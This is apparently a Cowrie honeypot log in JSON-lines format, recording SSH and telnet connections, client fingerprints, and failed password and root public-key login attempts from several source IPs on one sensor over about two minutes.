{"eventid":"cowrie.login.failed","username":"services","password":"services","message":"login attempt [services/services] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:29.859388Z","src_ip":"181.188.172.6","session":"193ae31d23fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:30.980184Z","src_ip":"181.188.172.6","session":"193ae31d23fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":67.53992652893066,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:36.883054Z","src_ip":"152.42.224.71","session":"9a3d03858133","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43792,"dst_ip":"10.17.0.5","dst_port":23,"session":"774941a8af82","protocol":"telnet","message":"New connection: 152.42.224.71:43792 (10.17.0.5:23) [session: 774941a8af82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:37.517096Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43806,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8833851883c","protocol":"telnet","message":"New connection: 152.42.224.71:43806 (10.17.0.5:23) [session: f8833851883c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:39.647938Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43814,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb316207ccdf","protocol":"telnet","message":"New connection: 152.42.224.71:43814 (10.17.0.5:23) [session: cb316207ccdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:42.451342Z"}
{"eventid":"cowrie.session.closed","duration":120.00367259979248,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:45.092198Z","src_ip":"152.42.224.71","session":"ceb0898cd42a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58266,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbe943054213","protocol":"telnet","message":"New connection: 152.42.224.71:58266 (10.17.0.5:23) [session: fbe943054213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:51.346676Z"}
{"eventid":"cowrie.session.closed","duration":54.97458529472351,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:53.053401Z","src_ip":"152.42.224.71","session":"5f6ef8868ec0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57202,"dst_ip":"10.17.0.5","dst_port":23,"session":"1887726461d5","protocol":"telnet","message":"New connection: 152.42.224.71:57202 (10.17.0.5:23) [session: 1887726461d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:06.290335Z"}
{"eventid":"cowrie.session.closed","duration":63.674525022506714,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:08.442851Z","src_ip":"152.42.224.71","session":"a57c331afd79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57072,"dst_ip":"10.17.0.5","dst_port":23,"session":"922a7af28ad0","protocol":"telnet","message":"New connection: 152.42.224.71:57072 (10.17.0.5:23) [session: 922a7af28ad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:15.649755Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47382,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b3f1a06d721","protocol":"telnet","message":"New connection: 152.42.224.71:47382 (10.17.0.5:23) [session: 2b3f1a06d721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:15.980480Z"}
{"eventid":"cowrie.session.closed","duration":37.331621408462524,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:19.782854Z","src_ip":"152.42.224.71","session":"cb316207ccdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.74.135","src_port":50494,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2c35130bf3e","protocol":"telnet","message":"New connection: 134.209.74.135:50494 (159.203.135.109:23) [session: d2c35130bf3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:26.429393Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46082,"dst_ip":"10.17.0.5","dst_port":23,"session":"64201b41bd85","protocol":"telnet","message":"New connection: 152.42.224.71:46082 (10.17.0.5:23) [session: 64201b41bd85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:27.577382Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":50518,"dst_ip":"159.203.135.109","dst_port":22,"session":"790f9efce527","protocol":"ssh","message":"New connection: 170.238.160.191:50518 (159.203.135.109:22) [session: 790f9efce527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:29.382826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:29.388475Z","src_ip":"170.238.160.191","session":"790f9efce527","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:29.513919Z","src_ip":"170.238.160.191","session":"790f9efce527","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zoom","password":"zoom","message":"login attempt [zoom/zoom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:30.047266Z","src_ip":"170.238.160.191","session":"790f9efce527","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:31.177682Z","src_ip":"170.238.160.191","session":"790f9efce527","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45934,"dst_ip":"10.17.0.5","dst_port":23,"session":"99c825709812","protocol":"telnet","message":"New connection: 152.42.224.71:45934 (10.17.0.5:23) [session: 99c825709812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:39.051333Z"}
{"eventid":"cowrie.session.closed","duration":38.10851788520813,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:44.398705Z","src_ip":"152.42.224.71","session":"1887726461d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.660189390182495,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:50.006740Z","src_ip":"152.42.224.71","session":"fbe943054213","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.39.105.65","src_port":35390,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f69da1fdaf0","protocol":"ssh","message":"New connection: 89.39.105.65:35390 (10.17.0.5:22) [session: 8f69da1fdaf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:51.467054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:51.471682Z","src_ip":"89.39.105.65","session":"8f69da1fdaf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:51.554689Z","src_ip":"89.39.105.65","session":"8f69da1fdaf0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:53:14:68:e3:fb:e5:ed:8f:7a:27:b1:f6:83:4e:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEArUjLScGK8hDevF0kHR/BmOxNfr5/a4bGq6daKIQy/Z6/+2plPS+ujLGqceVHGXSpiKQptQ+wXBoBenfNvkn4EKZ2BILi90W4UF+OHD3taJMAO5tjYXN0CmC2QweQTEAvboPr8XQ0Uq/j9EiaDOMiZ52Wqo8kb0nKG/Ez2iS4Vt7jXI5TSeOYL7OKpb6Id2iQmBYxKO+BvXp4497KKLMk6bkys4QHp4FtU7ks3L8/2oGTehutJ9nVfoY0+jm7FOm3L17t/EJbthPn6VQ8Qevm3f0CXAONfS/pd8FwOoV3NIB6tRAH4DoePC8jD9XtOsBh5CQTKkwZaqnPMnQ0un+hKmiHeamONqrkxYw7vy5oyTc1XlCsrVwra1WLZQKAEMHNy7ZHfe3ErFrj6QsyS3Dkp+ubKFnaiDiA2n2t+5rPUDMK7Nae9/1pAfqQpbhnBiR3MG44hZsOLT9vyOUHvd0sp2VOSMZdSEj4iXfEfz+I6UcC9+uXmqWGQg6XynuKIesgHDp1TLcRGz/fjm3Us7ZrTSu5Pi6mv7qcC+JYnKVO+4c+p4APYfyLnci7UPWDUs+mAfKwIP0EhXC8kj1z9+HDZIAB4IyOWOeuN4hsUJSK/n+7mjzr20qDpUmUyN8SH8a8/APSUBlKTrOspipvcN/yiZimk+aaGEoMZD+RqVHQMr8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:53:14:68:e3:fb:e5:ed:8f:7a:27:b1:f6:83:4e:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:51.950511Z","src_ip":"89.39.105.65","session":"8f69da1fdaf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:53:14:68:e3:fb:e5:ed:8f:7a:27:b1:f6:83:4e:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEArUjLScGK8hDevF0kHR/BmOxNfr5/a4bGq6daKIQy/Z6/+2plPS+ujLGqceVHGXSpiKQptQ+wXBoBenfNvkn4EKZ2BILi90W4UF+OHD3taJMAO5tjYXN0CmC2QweQTEAvboPr8XQ0Uq/j9EiaDOMiZ52Wqo8kb0nKG/Ez2iS4Vt7jXI5TSeOYL7OKpb6Id2iQmBYxKO+BvXp4497KKLMk6bkys4QHp4FtU7ks3L8/2oGTehutJ9nVfoY0+jm7FOm3L17t/EJbthPn6VQ8Qevm3f0CXAONfS/pd8FwOoV3NIB6tRAH4DoePC8jD9XtOsBh5CQTKkwZaqnPMnQ0un+hKmiHeamONqrkxYw7vy5oyTc1XlCsrVwra1WLZQKAEMHNy7ZHfe3ErFrj6QsyS3Dkp+ubKFnaiDiA2n2t+5rPUDMK7Nae9/1pAfqQpbhnBiR3MG44hZsOLT9vyOUHvd0sp2VOSMZdSEj4iXfEfz+I6UcC9+uXmqWGQg6XynuKIesgHDp1TLcRGz/fjm3Us7ZrTSu5Pi6mv7qcC+JYnKVO+4c+p4APYfyLnci7UPWDUs+mAfKwIP0EhXC8kj1z9+HDZIAB4IyOWOeuN4hsUJSK/n+7mjzr20qDpUmUyN8SH8a8/APSUBlKTrOspipvcN/yiZimk+aaGEoMZD+RqVHQMr8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:51.954278Z","src_ip":"89.39.105.65","session":"8f69da1fdaf0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:71:64:22:9a:4c:3d:11:db:11:7c:2d:6b:bb:5c:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA9X72sOUUd1DG7Uhr6ix8icFNnJEzoGW6kfPo1UXtc0dbysx4oYi6xbXh9FkIvAmJ44QzvkUcX+yr5GG3H5ZEXBVJxdUUztZPSgeJgdFBTpFhyjtCtgHYV9FgcZTV62L9/qV8N8Te8gh2mtaie1vdgjE2S0HMXIJzVM92TmSpp7IujRTwsajkYmQscFvPqxVKrLlfqSzSPw2leHhYhUOjkbAAJHIMRmw/nWvFVbEwGlA64L3XhT7NQzr7JoQjs/675Fhnkt6Run+50OhIbUhnXpCNocKTzPHnqaXnLP3JR0Qa7pDSq1LZQLDpFca9Lmc8XbUm/mTgok7ODQUQM33UiQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:71:64:22:9a:4c:3d:11:db:11:7c:2d:6b:bb:5c:23","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:52.038393Z","src_ip":"89.39.105.65","session":"8f69da1fdaf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:71:64:22:9a:4c:3d:11:db:11:7c:2d:6b:bb:5c:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA9X72sOUUd1DG7Uhr6ix8icFNnJEzoGW6kfPo1UXtc0dbysx4oYi6xbXh9FkIvAmJ44QzvkUcX+yr5GG3H5ZEXBVJxdUUztZPSgeJgdFBTpFhyjtCtgHYV9FgcZTV62L9/qV8N8Te8gh2mtaie1vdgjE2S0HMXIJzVM92TmSpp7IujRTwsajkYmQscFvPqxVKrLlfqSzSPw2leHhYhUOjkbAAJHIMRmw/nWvFVbEwGlA64L3XhT7NQzr7JoQjs/675Fhnkt6Run+50OhIbUhnXpCNocKTzPHnqaXnLP3JR0Qa7pDSq1LZQLDpFca9Lmc8XbUm/mTgok7ODQUQM33UiQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:52.041873Z","src_ip":"89.39.105.65","session":"8f69da1fdaf0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:01:ac:40:e1:ce:d0:24:da:ae:d4:2f:03:23:c2:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxa3fIsZC/j1SVR5llzemJC3PDfeP6YCCnmLhr/8phc/xHHj94NJTvcaja4gNtewbY4QdKFXcggZEqm2epfEjQW/G7DzSUqUvhC4I+Az60Ry2mQCh/zr3JVzVygJCwBN+xhCW94UuGwt/hkrH20DEDKFdP6rpJTZRk3bfmd8Qsat4OiS6o32+QMeGFthMAMtWCGPXh9/DXJ6+2PpF+vIUznC/cS2HUgKeM3tIobD6l83YzlrQL2NIGtfyauoCYnlp3VPYXVsnyqZObzvyp0KB/3nna2EqSBO4ix1q7FhXcn0ycQMAG52P+IGUEHm1C9HC+deB1aHfZ8t+iAW7re1mH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:01:ac:40:e1:ce:d0:24:da:ae:d4:2f:03:23:c2:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:52.133802Z","src_ip":"89.39.105.65","session":"8f69da1fdaf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:01:ac:40:e1:ce:d0:24:da:ae:d4:2f:03:23:c2:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxa3fIsZC/j1SVR5llzemJC3PDfeP6YCCnmLhr/8phc/xHHj94NJTvcaja4gNtewbY4QdKFXcggZEqm2epfEjQW/G7DzSUqUvhC4I+Az60Ry2mQCh/zr3JVzVygJCwBN+xhCW94UuGwt/hkrH20DEDKFdP6rpJTZRk3bfmd8Qsat4OiS6o32+QMeGFthMAMtWCGPXh9/DXJ6+2PpF+vIUznC/cS2HUgKeM3tIobD6l83YzlrQL2NIGtfyauoCYnlp3VPYXVsnyqZObzvyp0KB/3nna2EqSBO4ix1q7FhXcn0ycQMAG52P+IGUEHm1C9HC+deB1aHfZ8t+iAW7re1mH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:52.138206Z","src_ip":"89.39.105.65","session":"8f69da1fdaf0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:48:8f:79:67:51:b1:64:1a:cb:45:f7:5c:6b:78:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyki8nTOlUbxOsDW6wYVImcu8iwnuRW7XcNrK2PTL2oRaYccHSGynKGBoryKmiHhaYOK9TtUPMZL4yigC+Z80tDGd2ZrdKkGnW3Zk6LssKZtr4A2yEVxRdMCCt+JBsYIGxcG3q55F1t46sL1Mmbgk/P1sPRAVVzKV+lmZFBBMZVWKHDSHw9tnPv6OPPoEKdJu8TT7F4BBXhLESnuCBbci1YjLvJYclZtE0ZtcP+80O3MppfWzmEOCcCYdvh4PzuMZZYNpRRkIjNu1HQqvKi6j2/dCLZndPrGBZBHErAhFVdObs24MNF/O3Mll+NE9c2AzQB3tdKWpz6HHoNBJJU+W/Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:48:8f:79:67:51:b1:64:1a:cb:45:f7:5c:6b:78:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:52.222929Z","src_ip":"89.39.105.65","session":"8f69da1fdaf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:48:8f:79:67:51:b1:64:1a:cb:45:f7:5c:6b:78:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyki8nTOlUbxOsDW6wYVImcu8iwnuRW7XcNrK2PTL2oRaYccHSGynKGBoryKmiHhaYOK9TtUPMZL4yigC+Z80tDGd2ZrdKkGnW3Zk6LssKZtr4A2yEVxRdMCCt+JBsYIGxcG3q55F1t46sL1Mmbgk/P1sPRAVVzKV+lmZFBBMZVWKHDSHw9tnPv6OPPoEKdJu8TT7F4BBXhLESnuCBbci1YjLvJYclZtE0ZtcP+80O3MppfWzmEOCcCYdvh4PzuMZZYNpRRkIjNu1HQqvKi6j2/dCLZndPrGBZBHErAhFVdObs24MNF/O3Mll+NE9c2AzQB3tdKWpz6HHoNBJJU+W/Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:52.226552Z","src_ip":"89.39.105.65","session":"8f69da1fdaf0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:d7:f6:24:56:a2:eb:55:38:69:00:08:d9:60:bc:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6H40OiaPEi7VeIzwoVEPjK5vFMWbqv2i7XqzNJcJKDqHqOYkmIM+kSRh7hXJyZX6qHRYU5gRzcRWth0B9CRw4iVbbOGGDtG0IQzv9/MnY3wUFSdaRYiQDhzGQjPj7XubKcOkPcu8gevlg2USyyTWKB1TrGVTSRNhbBTuuP2yjYhn8XJ0EQOMg6+CG0xmO1yocqBgd/TG1dO1U4xu3FsAiQu8lMVEecOds+tbhcRd5Q4LWxgIcy9+YbQ7RZH1gvAs0gCdbiy/w6xL527dCGmGjd8GciKum4Mc2DtEI/imV7iOF0NUAQ9UbCJDb1mkBOe0ncxhqcaOOpcI5NpPhhmFB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:d7:f6:24:56:a2:eb:55:38:69:00:08:d9:60:bc:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:52.310513Z","src_ip":"89.39.105.65","session":"8f69da1fdaf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:d7:f6:24:56:a2:eb:55:38:69:00:08:d9:60:bc:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6H40OiaPEi7VeIzwoVEPjK5vFMWbqv2i7XqzNJcJKDqHqOYkmIM+kSRh7hXJyZX6qHRYU5gRzcRWth0B9CRw4iVbbOGGDtG0IQzv9/MnY3wUFSdaRYiQDhzGQjPj7XubKcOkPcu8gevlg2USyyTWKB1TrGVTSRNhbBTuuP2yjYhn8XJ0EQOMg6+CG0xmO1yocqBgd/TG1dO1U4xu3FsAiQu8lMVEecOds+tbhcRd5Q4LWxgIcy9+YbQ7RZH1gvAs0gCdbiy/w6xL527dCGmGjd8GciKum4Mc2DtEI/imV7iOF0NUAQ9UbCJDb1mkBOe0ncxhqcaOOpcI5NpPhhmFB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:52.314675Z","src_ip":"89.39.105.65","session":"8f69da1fdaf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:18:52.398578Z","src_ip":"89.39.105.65","session":"8f69da1fdaf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.27143740653992,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:08.848723Z","src_ip":"152.42.224.71","session":"64201b41bd85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00385975837708,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:11.922652Z","src_ip":"152.42.224.71","session":"27fd4520e8f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.493618965148926,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:12.474048Z","src_ip":"152.42.224.71","session":"2b3f1a06d721","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.86730623245239,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:14.918500Z","src_ip":"152.42.224.71","session":"99c825709812","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42634,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd248a641c0c","protocol":"telnet","message":"New connection: 152.42.224.71:42634 (10.17.0.5:23) [session: cd248a641c0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:15.519608Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.172.6","src_port":36316,"dst_ip":"159.203.135.109","dst_port":22,"session":"abbd298c2e0f","protocol":"ssh","message":"New connection: 181.188.172.6:36316 (159.203.135.109:22) [session: abbd298c2e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:16.958472Z"}
